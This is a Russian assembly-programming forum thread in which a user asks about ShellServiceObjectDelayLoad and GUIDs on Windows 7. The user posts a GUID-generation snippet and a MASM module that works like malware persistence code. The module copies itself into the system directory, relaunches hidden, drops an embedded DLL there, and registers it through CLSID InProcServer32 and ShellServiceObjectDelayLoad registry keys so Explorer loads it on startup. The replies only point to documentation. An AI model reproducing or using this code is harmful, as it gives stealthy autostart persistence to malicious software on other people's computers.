ShellServiceObjectDelayLoad

Тема в разделе "WASM.WIN32", создана пользователем fragment, 21 авг 2010.

  1. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Здравствуйте! Хочу разобраца с DelayLoad в Windows 7.

    Написал такой код, хотел посмотреть какой ID дадут текущему модулю но памойму я делаю всё не правельно, помогите пожалуйста разобраца и поясните зачем вообще нужны GUID и CLSID

    Код (Text):
    1. .686
    2. .model flat,stdcall
    3. option casemap:none
    4.  
    5. includelib library\kernel32.lib
    6. includelib library\user32.lib
    7. includelib library\Ole32.lib
    8.  
    9. GUID    STRUCT
    10.    Data1    dd ?
    11.    Data2    dw ?
    12.    Data3    dw ?
    13.    Data4    db 8 dup(?)
    14. GUID ENDS
    15.  
    16. .data?
    17.     Buff db 260 dup(?)
    18.     myGUID GUID <>
    19.        
    20. .code
    21. start:
    22.  
    23.     CoCreateGuid PROTO :DWORD
    24.     push offset myGUID
    25.     call CoCreateGuid
    26.  
    27.     StringFromCLSID PROTO :DWORD,:DWORD
    28.     push offset Buff
    29.     push offset myGUID
    30.  
    31.     MessageBoxA PROTO :DWORD,:DWORD,:DWORD,:DWORD
    32.     push 0
    33.     push 0
    34.     push offset Buff
    35.     push 0
    36.     call MessageBoxA
    37.  
    38.     ExitProcess PROTO :DWORD
    39.     push eax
    40.     call ExitProcess
    41.  
    42. end start
    Есть вот такой модуль но он шибко мудреный... :\

    Код (Text):
    1. include Autorun.inc
    2. .data
    3. OneStr db "CLSID\",0
    4. TwoStr db "\InProcServer32",0
    5. ThreeStr db "Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad",0
    6. myGUID CLSID <>
    7.  
    8. .data?
    9. par1    dd ?
    10. par2    dd ?
    11. DStr0   db 6670 dup (?)
    12. DStr2   db 6670 dup (?)
    13.  
    14. .code
    15. RunDLL proc
    16.         LOCAL   hkHandle: DWORD
    17.     LOCAL   hFile: DWORD
    18.         LOCAL   bWritten: DWORD
    19.         invoke  GetSystemDirectory, offset lpBuf1, MAX_PATH+1
    20.     invoke GetModuleFileName, NULL, offset lpBuf2, MAX_PATH+1
    21.  
    22.     invoke  lstrcat, offset lpBuf1, addr exename
    23.  
    24.     invoke  lstrcmp, offset lpBuf1, offset lpBuf2
    25.         test    eax, eax
    26.         jz      @ret
    27.  
    28.         invoke  CopyFile, offset lpBuf2, offset lpBuf1, 0
    29.         test    eax, eax
    30.         jz      @exit
    31.  
    32. @@:
    33.         invoke  ShellExecute, 0, offset szTextOpen, offset lpBuf1, 0, 0, SW_HIDE
    34. @exit:
    35.         invoke  ExitProcess, 0
    36. @ret:
    37.         invoke  GetSystemDirectory, offset lpBuf1, MAX_PATH+1
    38.  
    39. invoke lstrcat,addr lpBuf1, addr dll
    40.  
    41.  invoke  CreateFile, offset lpBuf1, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, 0
    42.         mov     hFile, eax
    43.         inc     eax
    44.         jz      @wend
    45.         invoke  WriteFile, hFile, offset Autorun, AutorunLen, addr bWritten, NULL
    46.         invoke  CloseHandle, hFile
    47. @wend:
    48.  
    49. invoke MyClearStr, offset DStr0, 6666
    50. invoke MyClearStr, offset DStr2, 6666
    51. invoke CoCreateGuid, addr myGUID
    52. .IF eax == 0
    53. mov par1, offset DStr2
    54. invoke StringFromCLSID, addr myGUID, addr par1
    55. .IF eax == 0
    56. mov par2,0
    57. push edi
    58. mov edi, par1
    59. .WHILE TRUE
    60. invoke lstrcat, addr DStr0, edi
    61. add edi,2
    62. inc par2
    63. .BREAK .IF par2 == 38
    64. .ENDW
    65. pop edi
    66. .ENDIF
    67. .ENDIF
    68. invoke MyClearStr, offset DStr2, 6670
    69.  
    70. invoke RegCreateKey, HKEY_LOCAL_MACHINE, addr ThreeStr, addr hKey
    71. mov par1, 1000
    72. mov par2, REG_SZ
    73.  
    74. invoke RegQueryValueEx, hKey, addr szAutoName, NULL, addr par2, addr DStr2, addr par1
    75. invoke lstrlen, addr DStr2
    76. .IF eax < 38
    77. invoke lstrcpy, addr DStr2, addr OneStr
    78. invoke lstrcat, addr DStr2, addr DStr0
    79. invoke lstrcat, addr DStr2, addr TwoStr
    80. invoke RegCreateKey, HKEY_CLASSES_ROOT, addr DStr2, addr hKey
    81. .IF eax == 0
    82. invoke RegSetValueEx, hKey, NULL, NULL, REG_SZ, addr dll, sizeof dll
    83. invoke RegCloseKey, hKey
    84. .ENDIF
    85. invoke RegCreateKey, HKEY_LOCAL_MACHINE, addr ThreeStr, addr hKey
    86. .IF eax == 0
    87. invoke RegSetValueEx, hKey, addr szAutoName, NULL, REG_SZ, addr DStr0, 38
    88. invoke RegCloseKey, hKey
    89. .ENDIF                                  
    90. .ENDIF
    91. ret
    92. RunDLL endp
     
  2. wsd

    wsd New Member

    Публикаций:
    0
    Регистрация:
    8 авг 2007
    Сообщения:
    2.824
    fragment
    кажется ты запутался в терминах. объясни на пальцах что надо.
     
  3. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Хочу получить вот такой ID для запуска программы через DelayLoad

    [​IMG]

    я так понимаю это какой-то индивидуальный номер файла или как?
     
  4. wsd

    wsd New Member

    Публикаций:
    0
    Регистрация:
    8 авг 2007
    Сообщения:
    2.824
    fragment
    http://msdn.microsoft.com/ru-ru/library/yx9zd12s.aspx
    а ShellServiceObjectDelayLoad совсем другое, в гугле полно ссылок на разные форумы с решением